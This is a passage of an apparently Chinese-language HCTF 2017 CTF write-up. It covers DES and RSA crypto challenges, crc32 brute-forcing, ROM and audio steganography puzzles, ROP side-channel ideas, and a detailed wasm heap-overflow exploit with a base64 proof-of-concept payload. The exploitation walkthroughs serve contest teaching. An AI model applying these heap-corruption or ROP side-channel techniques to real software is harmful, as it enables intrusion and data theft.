for (j = 0; j < key_mov[i]; j++, ptk++) {
ptk[57] = ptk[28];
ptk[28] = ptk[1];
}
BatchSet(keyb[i], ptk, key_cmprs, 48);
}
}
// 将密文转换为真正的密文
void dropMsg(char* dest, char* src) {
int i;
for (i = 0; i < 16; i++) {
dest[i >> 1] = (dest[i >> 1] << 4) | sh_ch[src[i]];
}
}
void DES(char* pmsg, int st, int cl, int step) {
int i, row, col;
char r[64], rt[48], s[8];
ChToBit(msgbt, pmsg, 8);
BatchSet(msgb, msgbt, msg_ch, 64); // 初始置换
for (; st != cl; st += step) {
memcpy(rt, msgb + 33, 32);
BatchSet(r, msgb + 32, msg_ex, 48); // 扩展置换
for (i = 1; i <= 48; i++)
r[i] ^= keyb[st][i]; // 异或操作
// s_box 代替
for (i = 0; i < 48; i += 6) {
row = col = 0;
row = r[i + 1] << 1 | r[i + 6];
col = (r[i + 2] << 3) | (r[i + 3] << 2) | (r[i + 4] << 1) | r[i + 5];
s[i / 12] = (s[i / 12] <<= 4) | s_box[i / 6][row][col];
}
ChToBit(r, s, 4);
BatchSet(msgb + 32, r, p_box, 32); // p_box 置换
for (i = 1; i <= 32; i++)
msgb[i + 32] ^= msgb[i]; // 异或
memcpy(msgb + 1, rt, 32);
}
memcpy(msgbt + 33, msgb + 1, 32);
memcpy(msgbt + 1, msgb + 33, 32);
BatchSet(msgb, msgbt, last_ch, 64); // 末置换
BitToCh(res, msgb, 8); // 转为原明文
}
int main(int arg, char* arv[]) {
init_trans();
char mode = 'd';
getKeys(); // 得到16轮要用到的密钥
int i;
printf("dec: ");
for (i = 0; msg[i]; i += 16) {
dropMsg(res, msg + i); // 将密文转换为真正的密文
DES(res, DECODE); // 解密
printf("%s", res);
}
printf("\n");
return 0;
}
简单来说 只要把加密宏[0, 16 ,1]替换为[15, -1, -1]解密宏即可。
flag:
hctf{Dr1v5r_M5ngM4n_2Oi7}
ps: 附一张成功cm的截图
\--END--
### babystack
这题的名字叫babystack，程序中是一个直接的栈溢出。而且还自带一次任意地址读。
当然这题的难点也很简单，只有read，write，open，exit系统调用。之所以搞出这个题目是受defcon的mute那题的启发。mute那题是用shellcode来实现的侧信道攻击。所以我就想能否用rop来实现侧信道的攻击。
下面是我在libc里找到的一个可以用来侧信道攻击的ROP
.text:00000000000D72CE cmp cl, [rsi]
.text:00000000000D72D0 jz short loc_D7266
.text:00000000000D72D2 pop rbx
.text:00000000000D72D3 retn
在ret之后用一个read函数来block住代码。而比较成功之后则直接crash退出。使用这种方法来逐字节的比较flag。
当然，解法不止这一种。libc里还有很多种的rop可以用来进行侧信道攻击。可以看看选手们的解法.
poc见[github](https://github.com/zh-explorer/hctf2017-explorer/tree/master/babystack)
## level4
### babyre
这个题目的难度其实处在第三层和第四层之间。当初把它放第四层其实有点犹豫，因为感觉会有老司机秒杀他。
这个题目说起来其实很简答，我写了一个蒙哥马利乘算法和一个大整数加减的库。熟悉密码学的大佬应该知道蒙哥马利乘运算的作用就是进行快速模幂运算，即RSA的核心算法。
有关蒙哥马利算法的文章网上其实有很多，我就不再赘述了。代码中只有e和n。将输入的flag转换成大数的形式，然后做en =
pow(f,e,n)输出了大数en。这里用了一个非常大的e，使得可以用Wiener's attack来计算出d的值。然后用d即可解密出flag。
之所以认为他简单，是因为即使不知道蒙哥马利乘运算也能够猜出是RSA。首先是因为大整数加减以及乘运算，这些大整数运算还是很容易就可以分辨的。一旦分辨出这些运算，应该就能联想到RSA。第二个就是模幂运算化简式子。对于一个D=C**E%N的大数运算，可以采用下面的化简式子。
D=1
FOR i=n TO 0
D=D*D % N
IF E[i]=1
D=D*C % N
RETURN D
能看出这个式子是模幂运算的化简式子，即使看不懂乘法函数是个什么鬼。应该也能猜到什么了。
### rroopp
之所以写这个题目，只有一次在写实际栈溢出利用的时候碰到了这个情况。栈溢出是在链接库中，没有打开的可以leak用的文件描述符。而主程序就只有这么一点点代码。当时自己写rop的时候感觉挺有意思的，就拿出来写了这样一个题目(主程序是我直接patch当初那个程序来的，没有源码。可以猜猜是什么程序：)
当然launch.so就是我自己写的程序了。里面大致模拟了ipv4包解析的过程。当然也是一个直接的栈溢出。在最后合并包的时候并没有检查长度而是使用了一个固定长度的栈缓冲区。
当然虽然binary比较小，其实还是有挺多可以用的gadget的。这里还有一个很好玩的技巧，就是dlsym的handle可以指定为RTLD_DEFAULT和RTLD_NEXT来从已经加载的动态链接库中查找函数。所以无需指定handle的值可以可以调用libc中的函数的。
## level5
### old driver
这个逆向题目其实也是一个算法题，很可惜没有人能做出来。写这个题目的初衷是我上学期上的数据压缩实验。这个算法期末占15分huaji.jpg
好吧，这个压缩算法其实就是jpeg压缩算法拉。当然和现在通用的jpg图片的压缩算法还是有点差别的，是最初最简单的那个版本。有关jpeg压缩算法的介绍其实挺多的。如果不是像我一样不习惯用MATLAB的话。其实用MATLAB解这东西其实是最快的。
当然jpeg压缩其实也有很多的特征可以查找的。包括DFT算法实现，包括量化用的标准量化表，包括最后做哈弗曼编码所用的哈弗曼表。其实都是非常明显的特征。最明显的就是jpeg压缩所使用的量化表了。抠出来一查就能发现。
decode.py就是我自己写的重建jpeg用的函数。当然如果发现重建的图像非常魔性也不要惊讶。是我压缩比率调整的太高的原因。反正能看到flag就可以了2333
### online encryptor
#### 背景
这题由于放题的时候失误没把题开始就放上去，所以剩下的时间可能不够去做了。而且好像有被题目名误导到的人（
。回到题目，这题是一个披着web和crypt皮的pwn题。事实上，在之前刚看到wasm的时候我就有想能不能搞个pwn出来。然后这次也算是实现了自己的一些想法。
webassembly (以下简称wasm) 技术目前可以说并不完善，而且我也并不算是了解了整个系统的全貌，因此如果有理解不到位的地方请见谅，欢迎一起讨论。
事实上，在wasm技术提出之前就已经有类似技术出现了（asm.js），wasm和asm.js不同的是wasm创建了二进制文件格式（.wasm）和新的汇编语言。比如helloword的汇编看上去就是这样的（会lisp的同学看起来大概没啥鸭梨）
(module
(type $FUNCSIG$ii (func (param i32) (result i32)))
(type $FUNCSIG$iii (func (param i32 i32) (result i32)))
(import "env" "iprintf" (func $iprintf (param i32 i32) (result i32)))
(table 0 anyfunc)
(memory $0 1)
(data (i32.const 16) "hello world!\00")
(export "memory" (memory $0))
(export "hello" (func $hello))
(export "test" (func $test))
(func $hello
(drop
(call $iprintf
(i32.const 16)
(i32.const 0)
)
)
)
(func $test (result i32)
(i32.const 16)
)
)
关于这些指令的具体意义可以去官方文档上看。这里就不多展开了。两者的目标相接近，都是为了能用c/c++语言写web（可以想象一下js那效率。。。），所以这题的wasm当然也是c写的。
然后怎么出成一个pwn呢，wasm存在函数栈，但这部分是有严格check的（可以类比下python的，其实js引擎负责解析wasm的部分也是个解释器），而且这个栈是对用户隐藏的，也就是搞栈这条路断了（至少我没想出来怎么搞这个栈），于是打算出一个关于堆的pwn。
这题本来想用emcc编译，但emcc编译出来的wasm和js复杂难懂。。。至少我觉得如果我用emcc编译出来那是99%没人做出来的。所以用了clang+binaryen+wabt
来生成wasm。接下来介绍几个必要的姿势：
##### 1\. memory layout
wasm的memory默认是从0开始向下拓展，以10k为一个基本单位，当内存不够的时候可以通过grow指令增长，当然js层也有相应的接口可以调用。memory里面会有全局变量，当然你想放啥都可以，自己实现一个堆管理或者直接用glibc的那个堆管理都是可以的。同样，js层和c层都可以对其中的内存进行读写操作。
##### 2\. js层和c层的互相调用
js调用c层可以通过在c层定义好相应的函数，然后export，直接就能在js层调用，这里说一个参数问题。
wasm用的是32位，也就是参数和返回值都可以当作uint32_t，对于js来说这就是单纯的一个数字，但对于c来说如果你是char*
，那么它就是指向memory地址的一个char指针。如果是int，就是整形，这点就会有一个问题，就是你如果想在js传字符串到c那边，得对memory做操作，而不能直接把js的字符串当做参数传。
c层调用js也是类似的，在js那边预先定义好一系列函数然后放在同一个object里传进wasm的环境。再说一遍，这儿的参数和返回值也都得是uint32_t。
##### 3\. c层的限制
由于是用js做为环境而不是linux的环境，所以很大一部分的c库函数都无法使用，当然要用也可以，可以用js模拟出一个linux的环境（把syscall都自己用js实现一遍），可能有现成的，但为了保持题目简洁，我并没有引用glibc的函数。期待以后wasm能有自己的底层环境而不用去依赖js。
#### 回到题目
这题是一个nodejs作为后端的在线加密器，在js层调用了wasm进行加解密操作。可以输入一个8字节的password和任意字节的data做加解密
加密为流加密，逻辑大概是这样的：
key = hash(hash(flag)^pass)^random;
其中hash函数是我自己实现的（乱写的），接受任意字节，返回16字节；flag为32字节，pass为8字节，random为16字节，通过js层的random获取。
output = random | enc(data, key);
enc函数内部会把key拆成4字节的4部分，利用 mt_rand 作为PRNG把data加密4次。
解密流程相同
但看这个加解密是拿不到flag的，因为flag在最开始就被hash了。所以这题就是pwn啦。
然后堆是自己实现的，其中
struct chunk {
unsigned int size;
unsigned int pre_size;
struct chunk* fd;
};
题外话，自己写过堆之后才发现这种结构是不可取的啊，具体的就是这个pre_size的field没法重利用了。反正不管，这里的pre_size和fd都不会重利用（偷懒）;
不同size的堆块放在不同size区间（间隔0x10）的单链表里，但不会做align,
#define find_index(size) ((size/0x10) > 0x20 ? 0x1f : (size/0x10)) ;
用单链表实现了类似unlink一样的效果：
void unlink(struct chunk* current) {
int index = find_index(current->size);
struct chunk* ite = bins[index];
if(ite != 0) {
while(ite->fd != 0) {
if(ite->fd == current) {
ite->fd = current->fd;
break;
}
ite = ite -> fd;
}
}
}
也可以做merge，具体源码在github上，可以看到，基本全程没啥check，一些glibc用不到的技巧都可以用了！
说了这么多，洞在哪呢？？以下为wasm2wast 跑出来wast的一部分
(export "memory" (memory 0))
(import "env" "grow" (func (;0;) (type 1)))
(import "env" "read_data" (func (;1;) (type 1)))
(import "env" "read_file" (func (;2;) (type 2)))
(import "env" "read_pass" (func (;3;) (type 1)))
(import "env" "read_random" (func (;4;) (type 1)))
这些是内部函数同import 函数名之间的关系
(export "malloc" (func 5))
(export "unlink" (func 6))
(export "free" (func 7))
(export "Initialize" (func 8))
(export "ExtractU32" (func 9))
(export "hash" (func 10))
(export "mycrypt" (func 11))
(export "encrypt" (func 12))
(export "decrypt" (func 13))
(export "out_size" (func 14))
这些是内部函数与export 函数名之间的关系
来看看decrypt函数
(func (;13;) (type 0) (result i32)
(local i32 i32 i32 i32 i32 i32 i32)
i32.const 32
call 5
set_local 5
i32.const 1024
call 5
set_local 0
i32.const 8
call 5
set_local 1
i32.const 16
call 5
set_local 2
i32.const 2672
get_local 5
i32.const 32
call 2
drop
get_local 0
call 1
set_local 3
get_local 1
call 3
drop
i32.const 0
set_local 6
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;)
get_local 2
get_local 6
i32.add
get_local 0
get_local 6
i32.add
i32.load8_u
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 5
i32.const 32
call 10
set_local 4
i32.const 0
set_local 6
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 8
i32.eq
br_if 1 (;@1;)
get_local 4
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 1
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 1
call 7
get_local 4
i32.const 16
call 10
set_local 1
get_local 4
call 7
i32.const 0
set_local 6
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;)
get_local 1
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 2
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 2
call 7
get_local 1
get_local 0
i32.const 16
i32.add
get_local 3
call 5
tee_local 6
get_local 3
i32.const -16
i32.add
tee_local 2
call 11
i32.const 0
get_local 2
i32.store offset=2680
get_local 0
call 7
get_local 6)
看上去很长，把这个decrypt函数稍微翻译下：
看上去很长，把这个decrypt函数稍微翻译下：
(func (;decrypt;) (type 0) (result i32)
(local i32 i32 i32 i32 i32 i32 i32)
i32.const 32
call malloc
set_local 5 // var_5 = malloc(32);
i32.const 1024
call malloc
set_local 0 // var_0 = malloc(1024);
i32.const 8
call malloc
set_local 1 // var_1 = malloc(8);
i32.const 16
call malloc
set_local 2 // var_2 = malloc(16);
i32.const 2672
get_local 5
i32.const 32
call read_file // readfile(21, var_5, 2672);
drop
get_local 0
call read_data
set_local 3 // var_3 = read_data(var_0);
get_local 1
call read_pass // read_pass(var_1);
drop
i32.const 0
set_local 6 // var_6 = 0;
block ;; label = @1
loop ;; label = @2 // while;
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;) // if(var_6 == 16) break;
get_local 2
get_local 6
i32.add // var_2 + var_6;
get_local 0
get_local 6
i32.add // var_0 + var_6;
i32.load8_u
i32.store8 // *(var_2 + var_6) = *(var_0+var_6);
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;) // var_6 += 1;
end
end
get_local 5
i32.const 32
call hash
set_local 4 // var_4 = hash(var_5, 32);
i32.const 0
set_local 6 // var_6 = 0;
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 8
i32.eq
br_if 1 (;@1;) // if(var_6 == 8) break;
get_local 4
get_local 6
i32.add // var_4 + var_6;
tee_local 5 // var_5 = var_4 + var_6
get_local 5
i32.load8_u // *var_5;
get_local 1
get_local 6
i32.add // var_1 + var_6;
i32.load8_u // *(var_1 + var_6);
i32.xor
i32.store8 // *(var_4 + var_6) ^= *var_5;
get_local 6
i32.const 1
i32.add
set_local 6 // var_6 += 1;
br 0 (;@2;)
end
end
get_local 1
call free // free(var_!);
get_local 4
i32.const 16
call hash
set_local 1 // var_1 = hash(var_4, 16)
get_local 4
call free // free(var_4);
i32.const 0
set_local 6 // var_6 = 0;
block ;; label = @1
loop ;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;) // if(var_6 == 16) break;
get_local 1
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 2
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8 // 和之前一样(var_1 + var_6) ^= (var_2 + var_6);
get_local 6
i32.const 1
i32.add
set_local 6 // var_6 += 1;
br 0 (;@2;)
end
end
get_local 2
call free // free(var_2);
get_local 1 // var_1
get_local 0
i32.const 16
i32.add // var_0 + 16
get_local 3
call malloc // out = malloc(var_3);
tee_local 6
get_local 3
i32.const -16
i32.add // var_3 - 16
tee_local 2 // var2 = var_3 - 16
call mycrypt // mycrypt(var_1 ,var_0 + 16, out, var_3 - 16)
i32.const 0
get_local 2
i32.store offset=2680 // *(2680) = var_2;
get_local 0
call free // free(var_0);
get_local 6)
这样就翻译的差不多了，应该和我开始对加解密的描述差不多，可以发现，js层传入的data长度最长可以有0x1000个字节，但从decrypt函数可以看出data这只malloc了1024个字节，于是多出来的就造成了一个堆溢出，可以利用类似方式（手工）对其他函数包括malloc和free函数进行逆向，虽然工作会艰辛很多233。
接下来我们来看看如何利用，来看看开始的那几个malloc之后的layout
heapbase: flag
key+32+12: data
data+1024+12: pass
pass+8+12: random
可以看到data下面就是pass和random，除了flag没有被free（这是我觉得强行出题的一点。。。），下面的pass和random都会在用完之后被free，那么就想想怎么把flag
leak出来吧！
================================蛋疼的分割线=================================
=====接下来的部分可能对不了解堆内部的人很模糊，如果没看过源码或者自己逆过就别看了====
默认你已经知道这个堆和加解密部分的实现了。
可以想到的一个最简单的方式是让最后output指针malloc到flag前面，然后修改2680那个outsize到合适大小（如果大小超过了memory长度，不会反回结果）。问题是在于怎么实现，我们能做的：
1. 在程序开始的时候溢出data块，能拿到两个可控的即将被free的堆块
2. 最后修改outsize的时候只有一个操作就是free(data); 也就是得在free之后改掉2680那个size
做到这两点在glibc里应该是不可能的，但这个堆没有任何check。
做到这个的最关键的一点在merge的时候
void free(unsigned char* ptr) {
struct chunk* current = to_chunk(ptr);
struct chunk* next = next_chunk(current);
if(!(current->size & 1)) {
struct chunk* pre = to_mem(current) - current->pre_size - 12;
pre->size += ((current->size&0xfffffffe) + 12);
// unlink pre
unlink(pre);
current = pre;
}
...
}
不会有任何的check，也就是我们能把当前的size加到prev块的size位上，但prev块的size位的位置是由当前堆块的pre_size位决定的，于是就能在前面任意位置加上当前size，只是这个size不能太大，不然在找当前块的下一块的时候会超出memory长度。
现在有任意写了，但有一个问题，要做到这点得把当前块的inuse位清0，而data块要改inuse位不容易。因为上面没有任何堆块，而且也不能拿两个能溢出的堆块中一个堆块改size，因为只能加上偶数的size，并不能改变size的inuse位。
没有堆块就自己创建堆块！free的时候会merge上面的堆块，然后merge之后的那个size我们是可控的，在free的最后，会清空下一块的inuse位然后设置pre_size
// link current to bins
int index = find_index(current->size);
current->fd = bins[index];
bins[index] = current;
// clear next chunk's inuse bit and set the pre_size
next = next_chunk(current);
next->size &= 0xfffffffe;
next->pre_size = current->size&0xfffffffe;
那么思路就出来了：
1. 覆盖pass堆块，使其merge完的结果在data上面，同时设置data块的size字段
2. 覆盖random堆块，设置data块的pre_size
3. malloc output的结果会到key上面那段
4. free data块的时候就能把size加到outsize，达到leak
然而实际操作中两个free的堆块在bins中的长度都会超过0x200然后分到最后一个链表，output会优先取random堆块free的那块。所以得把1，2的操作反一下。然后这题就解决了，可喜可贺（
ps：出题人没有源码大概也没法做出来
pps：写堆管理很有意思，出完题看着源码自己日自己写的题还日了一整天也很有意思
ppps：比赛完再逆一遍自己的题不容易，各位要打出题人的请手下留情orz
poc：
MTIzNDU2NzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJD1AAD8AwAAAAAAAGFhYWFhYWFhXAQAAJgIAAAAAAAA
结果：
��n�&��A�t���oe��.^�����S�;c�d3�<���g�"�����X��
* ��?���vm
����F �|�D+��}u�e��bq����**!
�������!hctf{MaYb3_heAp_15_AlS0_HARD428}t��5678���12345678\
# Extra
## level1
### big_zip
由于github上有对6位的crc32的快速爆破脚本，故将文本分为5字节。其实只要将github上的代码稍稍改动就能快速破解5位的crc32了。
# -*- coding: utf-8 -*-
import itertools
import binascii
import string
class crc32_reverse_class(object):
# the code is modified from https://github.com/theonlypwner/crc32/blob/master/crc32.py
def __init__(self, crc32, length, tbl=string.printable,
poly=0xEDB88320, accum=0):
self.char_set = set(map(ord, tbl))
self.crc32 = crc32
self.length = length
self.poly = poly
self.accum = accum
self.table = []
self.table_reverse = []
def init_tables(self, poly, reverse=True):
# build CRC32 table
for i in range(256):
for j in range(8):
if i & 1:
i >>= 1
i ^= poly
else:
i >>= 1
self.table.append(i)
assert len(self.table) == 256, "table is wrong size"
# build reverse table
if reverse:
found_none = set()
found_multiple = set()
for i in range(256):
found = []
for j in range(256):
if self.table[j] >> 24 == i:
found.append(j)
self.table_reverse.append(tuple(found))
if not found:
found_none.add(i)
elif len(found) > 1:
found_multiple.add(i)
assert len(self.table_reverse) == 256, "reverse table is wrong size"
def rangess(self, i):
return ', '.join(map(lambda x: '[{0},{1}]'.format(*x), self.ranges(i)))
def ranges(self, i):
for kg in itertools.groupby(enumerate(i), lambda x: x[1] - x[0]):
g = list(kg[1])
yield g[0][7], g[-1][8]
def calc(self, data, accum=0):
accum = ~accum
for b in data:
accum = self.table[(accum ^ b) & 0xFF] ^ ((accum >> 8) & 0x00FFFFFF)
accum = ~accum
return accum & 0xFFFFFFFF
def findReverse(self, desired, accum):
solutions = set()
accum = ~accum
stack = [(~desired,)]
while stack:
node = stack.pop()
for j in self.table_reverse[(node[0] >> 24) & 0xFF]:
if len(node) == 4:
a = accum
data = []
node = node[1:] + (j,)
for i in range(3, -1, -1):
data.append((a ^ node[i]) & 0xFF)
a >>= 8
a ^= self.table[node[i]]
solutions.add(tuple(data))
else:
stack.append(((node[0] ^ self.table[j]) << 8,) + node[1:] + (j,))
return solutions
def dfs(self, length, outlist=['']):
tmp_list = []
if length == 0:
return outlist
for list_item in outlist:
tmp_list.extend([list_item + chr(x) for x in self.char_set])
return self.dfs(length - 1, tmp_list)
def run_reverse(self):
# initialize tables
self.init_tables(self.poly)
# find reverse bytes
desired = self.crc32
accum = self.accum
# 4-byte patch
if self.length >= 4:
patches = self.findReverse(desired, accum)
for patch in patches:
checksum = self.calc(patch, accum)
print 'verification checksum: 0x{0:08x} ({1})'.format(
checksum, 'OK' if checksum == desired else 'ERROR')
for item in self.dfs(self.length - 4):
patch = map(ord, item)
patches = self.findReverse(desired, self.calc(patch, accum))
for last_4_bytes in patches:
if all(p in self.char_set for p in last_4_bytes):
patch.extend(last_4_bytes)
print '[find]: {1} ({0})'.format(
'OK' if self.calc(patch, accum) == desired else 'ERROR', ''.join(map(chr, patch)))
else:
for item in self.dfs(self.length):
if crc32(item) == desired:
print '[find]: {0} (OK)'.format(item)
def crc32_reverse(crc32, length, char_set=string.printable,
poly=0xEDB88320, accum=0):
'''
:param crc32: the crc32 you wnat to reverse
:param length: the plaintext length
:param char_set: char_set
:param poly: poly , default 0xEDB88320
:param accum: accum , default 0
:return: none
'''
obj = crc32_reverse_class(crc32, length, char_set, poly, accum)
obj.run_reverse()
def crc32(s):
'''
:param s: the string to calculate the crc32
:return: the crc32
'''
return binascii.crc32(s) & 0xffffffff
from my_crc32 import *
l=[0x251dee02,
0xb890530f,
0x6e6b39df,
0x50f684c3,
0xde41b551,
0x24bd35b6,
0xcef2eda8,
0xba2b1745,
0x1f4c7ea9,
0x58b2bfa9,
0x251dee02,
0xe0f81f1e,
0xbd6fbd41,
0x7342a1f6,
0x665648e9,
0xe7c594b3,
0xa60ffdd0,
0xce2ce80b,
0x22459f2d,
0x6f8a6539,
0x2073a2e4,
0x52fa60a8,
0x80410dda,
0xb7c68f27,
0x6e6b39df,
0xbd598041,
0xaa145d64,
0x16da6b3b,
0x7dd590bc,
0xb9eef5a1,
0xf0b958f0,
0x445a43f7,
0x8bd55271,
0xc0340fe2,
0xc0cd9ee5,
0x7fc7de58,
0x53bfec8a,
0x99b5537b,
0xd68019af,
0x73d7ee30,
0x5fbd3f5e]
for k in l:
crc32_reverse(k,5)
print '======='
#You_know_the_bed_feels_warmer_Sleeping_here_alone_You_know_I_dream_in_color_And_do_the_things_I_want_You_think_you_got_the_best_of_me_Think_you_had_the_last_laugh_Bet_you_think_that_everything_good_is_gone
crc32爆破完连接成文，很容易发现是最后一个文本。然后使用已知明文攻击即可。（有些人说因为我用7z压缩的zip所以他已知明文一直攻击不成功，我表示是我没有考虑到
## level2
### pokemon
打开游戏，大木会直接和你疯狂暗示
大木告诉你，FLAG在第一个道馆，去打败馆主。
到研究室领精灵，助手给你20个奇异糖果，让你快速升级。
再次提醒打败第一个馆主。
一路打怪升级到第一个道馆
打败后
馆主说我不会告诉你的，想知道的话自己去逆向这个rom。
正文开始。
用PPRE工具。
text_11="HIIIIIINT(You-really-want-to-get-the-flag-by-submi
ting-it-one-by-one?)"
text_12="HIIIIIINT(Try-to-read-the-scrpit-XP)"
text_13="HIIIIIINT(Don’t forget to change Brackets to Curly
Brackets !!!!)"
下面是一堆flag，但只有一个是正确的。
提示你去看脚本。
锁定脚本
Fanfare 1500
Lockall
Faceplayer
Checkbadge 0 0x800c
If 0x800c 1
CheckLR 1 func_5
Message 0
CloseMsgOnKeyPress
TrainerBattle 20 0 0
CheckTrainerLost 0x800c
If 0x800c 0
CheckLR 1 func_6
Setbdgtrue 0
ActMainEvent 22
SetTrainerId 29
SetTrainerId 50
Setvar 0x4074 1
Setflag 402
Setvar 16648 6
Setflag 244
Setflag 403
Message 1
SetvarHero 0
Message 2
Soundfr 1189
Fadedef
Message 3
Jump func_7
到func_7
Setvar 0x8004 378
Setvar 0x8005 1
CheckItem3 0x8004 0x8005 0x800c
If 0x800c 0
CheckLR 1 func_15
Callstd 241 7
Setflag 115
Clearflag 741
Setvar 0x8004 378
Setvar 0x8005 1
CheckItem3 0x8004 0x8005 0x800c
If 0x800c 0
CheckLR 1 func_16
Message 4
WaitButton
CloseMsgOnKeyPress
Releaseall
End
分析逻辑可知，func_16永远不会被执行
到func_16
Message 64
WaitButton
CloseMsgOnKeyPress
Releaseall
End
发现是使用64号text弹出对话框
text_64="HCTF(6A0A81AB5F9917B1EEC3A6183C614380)"
get flag `HCTF{6A0A81AB5F9917B1EEC3A6183C614380}`
## level3
### new_love_song
# New_Love_Song
* * *
不知道各位还记不记得去年HCTF的图片隐写题，去年的大一通信小学弟今年已经大二了。
他从课堂上学会了音频隐写， ~~并选了大家（wo）LP的一首歌准备在双11送给大家（虽然没几个人开到）~~
#### **解题分析：**
题目后来也放过 **hint: concentrate on the waveform 注意波形图**
用 **Audacity** 打开new_love_song.wav,基本近似于一种矩形:
而正常的音频波形往往都是高低起伏的:
所以我们就把波放大，能够发现：
相隔特定的距离 就会出现一段直线。接触过的人肯定知道，直线波就是某一特定的值
能够猜测 肯定有东西藏在其中，尝试提取出来，发现是一串01串 长度可开方 ，又是熟悉的转换二维码，扫描get flag
#### **解题脚本：**
clc
clear
close all
%% load data
wm_sz = 20000; % watermark size
px_sz = wm_sz/8; % number of pixels
im_sz = sqrt(px_sz); % image size
host_new = audioread ('new_love_song.wav'); % new (watermarked) host signal
host_new = uint8(255*(host_new + 0.5)); % double [-0.5 +0.5] to 'uint8' [0 255]
%% prepare host
host_bin = dec2bin(host_new, 8); % binary host [n 8]
%% extract watermark
wm_bin_str = host_bin(1:wm_sz, 8);
wm_bin = reshape(wm_bin_str, px_sz , 8);
wm_str = zeros(px_sz, 1, 'uint8');
for i = 1:px_sz % extract water mark from the first plane of host
wm_str(i, :) = bin2dec(wm_bin(i, :));
end
wm = reshape(wm_str, im_sz , im_sz);
%% show image
imshow(wm)
### BabyRSA
先看下题目的逻辑
M = r * bytes_to_long('hctf{' + sha256(open('./flag').read()).hexdigest() + '}')
S = pow(M, d, n)
程序接收 r，然后同 flag 相乘后计算出它的数字签名
先说下本来的思路，flag 为 m，单纯 flag 的签名为 S，返回的签名为 S',如果我们构造 `r=R^e`
因为
所以
e 的值未知，通过爆破 e 的值遍历提交 R^e，再根据上式得出 flag
但是题目忘记对 r 进行限制，导致也可以通过传入 `r=2` 来做出
因为 `2m < n`，所以直接对 S'^e 除以 2 就是 m
ps: Blue-Whale 队师傅的解法
然后对 m^2 开方就是 flag 了
## level4
### WeakRSA
已知部分 d 的最低有效位，是可以还原出 d
的，[原理](http://honors.cs.umd.edu/reports/lowexprsa.pdf)部分。但对于已知的位数是有要求的
其中 `M=2^k`，k 是 d 的最低有效位的位数
出题时没测试好，本来是要给的位数不够还原，需要爆破的，给下脚本
#!/usr/bin/python
#-*- coding:utf-8 -*-
import sys, re
from libnum import nroot
from Crypto.Util.number import size
n = 24129492308224479830531863430667763206113500947912894148049103046436751018902380216549212087945014575866175372699327952352562583984599024982322742653474650254469019243745562427155195911292231061633627557914070970650388286259815766552728485153840458510677169495483383264554397982155108666923510839292748291941615629484247125025729363254239159271724680451974211566266307311323012908187153011368890695841034381925365547836453167672856111790684457634738536647974450864723943635507973978195453912898978987904396630176208142995219377309529324099766495068346782530074954504554550936100220114319876296005855618193837568032249
e = 65537
